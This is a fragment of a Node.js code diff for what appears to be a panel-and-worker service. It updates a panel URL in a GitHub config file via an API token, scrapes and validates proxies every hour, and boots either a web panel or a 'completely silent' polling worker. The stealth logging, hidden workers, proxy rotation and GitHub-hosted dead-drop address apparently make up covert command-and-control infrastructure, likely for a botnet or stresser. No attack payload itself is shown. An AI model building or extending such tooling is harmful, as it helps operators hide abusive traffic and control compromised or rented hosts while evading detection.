+ path: `/repos/${ghRepo}/contents/panel-config.json`,
1752
+ method: "PUT",
1753
+ headers: {
1754
+ "Authorization": `token ${ghToken}`,
1755
+ "Accept": "application/vnd.github.v3+json",
1756
+ "User-Agent": "Panel-AutoUpdate",
1757
+ "Content-Type": "application/json",
1758
+ "Content-Length": Buffer.byteLength(JSON.stringify({
1759
+ message: `Auto-update: ${newPanelUrl}`,
1760
+ content: Buffer.from(newContent).toString("base64"),
1761
+ sha: current.sha
1762
+ }))
1763
+ },
1764
+ timeout: 10000
1765
+ }, (updateRes) => {
1766
+ let updateBody = "";
1767
+ updateRes.on("data", c => { updateBody += c; });
1768
+ updateRes.on("end", () => {
1769
+ if (updateRes.statusCode >= 200 && updateRes.statusCode < 300) {
1770
+ stealthLog(` [config] ✅ GitHub config updated: ${newPanelUrl}`);
1771
+ } else {
1772
+ stealthLog(` [config] ⚠️ Update failed (${updateRes.statusCode}): ${updateBody.slice(0, 100)}`);
1773
+ }
1774
+ });
1775
+ });
1776
+ updateReq.on("error", e => stealthLog(` [config] Update error: ${e.message}`));
1777
+ updateReq.on("timeout", () => { updateReq.destroy(); stealthLog(` [config] Update timeout`); });
1778
+ updateReq.write(JSON.stringify({
1779
+ message: `Auto-update: ${newPanelUrl}`,
1780
+ content: Buffer.from(newContent).toString("base64"),
1781
+ sha: current.sha
1782
+ }));
1783
+ updateReq.end();
1784
+ } catch (_) {
1785
+ stealthLog(` [config] Could not fetch current config — skipping update`);
1786
+ }
1787
+ });
1788
+ });
1789
+ req.on("error", e => stealthLog(` [config] Fetch error: ${e.message}`));
1790
+ req.on("timeout", () => { req.destroy(); stealthLog(` [config] Fetch timeout`); });
1791
+ req.end();
1792
+ })();
1793
+
1794
+ // ─── Auto Scrape + Validate Proxies Every 1 Hour ───
1795
+ stealthLog(" ⏰ Auto proxy scraper started (every 1 hour)");
1796
+ setInterval(async () => {
1797
+ try {
1798
+ if (proxyUpdateRunning) { stealthLog(" ⏳ Proxy update already running, skipping"); return; }
1799
+ proxyUpdateRunning = true;
1800
+ proxyUpdateLog = [];
1801
+ stealthLog(" 🕐 Hourly proxy update started...");
1802
+ const result = await scrapeProxies();
1803
+ proxyUpdateLog.push({ type: "info", message: `Scraped ${result.proxies.length} unique from ${result.success} sources` });
1804
+ const existing = new Set();
1805
+ try { fs.readFileSync(PROXY_FILE, 'utf8').split('\n').forEach(l => { if (l.trim()) existing.add(l.trim()); }); } catch {}
1806
+ result.proxies.forEach(p => existing.add(p));
1807
+ const live = await validateProxies(Array.from(existing), () => {});
1808
+ try { fs.writeFileSync(PROXY_FILE, live.join('\n') + '\n'); } catch {}
1809
+ const dupesBefore = existing.size - live.length;
1810
+ proxyCache = null; proxyCacheTime = 0;
1811
+ proxyUpdateLog.push({ type: "complete", message: `Hourly update done: ${live.length} live proxies`, proxyCount: live.length });
1812
+ stealthLog(` ✅ Hourly proxy update: ${live.length} proxies saved (${dupesBefore > 0 ? dupesBefore + ' duplicates included' : 'already clean'})`);
1813
+ } catch (e) { if (!STEALTH) console.error('[auto-proxy] Error:', e.message); }
1814
+ proxyUpdateRunning = false;
1815
+ }, 60 * 60 * 1000).unref();
1816
+ });
1817
+
1818
+ module.exports = app;
1819
+ }
1820
+
1821
+ (async function bootstrap() {
1822
+ const rl = require("readline");
1823
+ const fs = require("fs");
1824
+ const path = require("path");
1825
+ const BOOT_FILE = path.join(__dirname, ".boot.json");
1826
+
1827
+ function ask(prompt, fallback) {
1828
+ return new Promise(resolve => {
1829
+ if (!process.stdin.isTTY) return resolve(fallback);
1830
+ const iface = rl.createInterface({ input: process.stdin, output: process.stdout });
1831
+ iface.question(prompt, ans => { iface.close(); resolve(ans.trim() || fallback); });
1832
+ });
1833
+ }
1834
+
1835
+ let svcMode, svcPort;
1836
+
1837
+ if (process.env.MODE) {
1838
+ // Pterodactyl startup variables take highest priority
1839
+ svcMode = process.env.MODE.toLowerCase();
1840
+ svcPort = parseInt(process.env.PORT || process.env.WEB_PORT) || CONFIG.port;
1841
+ } else {
1842
+ // Check persisted boot config (written after first interactive prompt)
1843
+ let saved = null;
1844
+ try { saved = JSON.parse(fs.readFileSync(BOOT_FILE, "utf8")); } catch (_) {}
1845
+
1846
+ if (saved && saved.mode && saved.port !== undefined) {
1847
+ // Restart after sync/crash — skip prompt entirely
1848
+ svcMode = saved.mode;
1849
+ svcPort = saved.port;
1850
+ // COMPLETELY SILENT for worker mode
1851
+ if (svcMode !== "worker-poll") {
1852
+ process.stdout.write(` [boot] mode=${svcMode} port=${svcPort} (from saved config)\n`);
1853
+ }
1854
+ } else {
1855
+ // First run — ask interactively
1856
+ process.stdout.write("\n ┌──────────────────────────────────────────┐\n");
1857
+ process.stdout.write(" │ [1] Web Panel (server pusat) │\n");
1858
+ process.stdout.write(" │ [2] Worker (polling, no port) │\n");
1859
+ process.stdout.write(" └──────────────────────────────────────────┘\n");
1860
+ const choice = await ask(" › ", "1");
1861
+ svcMode = choice === "2" ? "worker-poll" : "web";
1862
+ const defPort = CONFIG.port;
1863
+
1864
+ // Worker mode — no need to ask panel URL, fetched from GitHub at startup
1865
+ if (svcMode === "worker-poll") {
1866
+ svcPort = 0; // Worker doesn't bind a port
1867
+ stealthLog(" [Worker] Panel URL will be fetched from GitHub at startup");
1868
+ } else {
1869
+ // Web panel mode — ask for bind port
1870
+ const portIn = await ask(` Bind port [${defPort}]: `, String(defPort));
1871
+ svcPort = parseInt(portIn) || defPort;
1872
+ }
1873
+
1874
+ // Save config
1875
+ try {
1876
+ const saved = { mode: svcMode, port: svcPort };
1877
+ fs.writeFileSync(BOOT_FILE, JSON.stringify(saved));
1878
+ } catch (_) {}
1879
+ }
1880
+ }
1881
+
1882
+ if (svcMode === "worker-poll") {
1883
+ startWorkerPollMode(svcPort);
1884
+ } else {
1885
+ startWebPanel(svcPort);
1886
+ }
1887
+ })();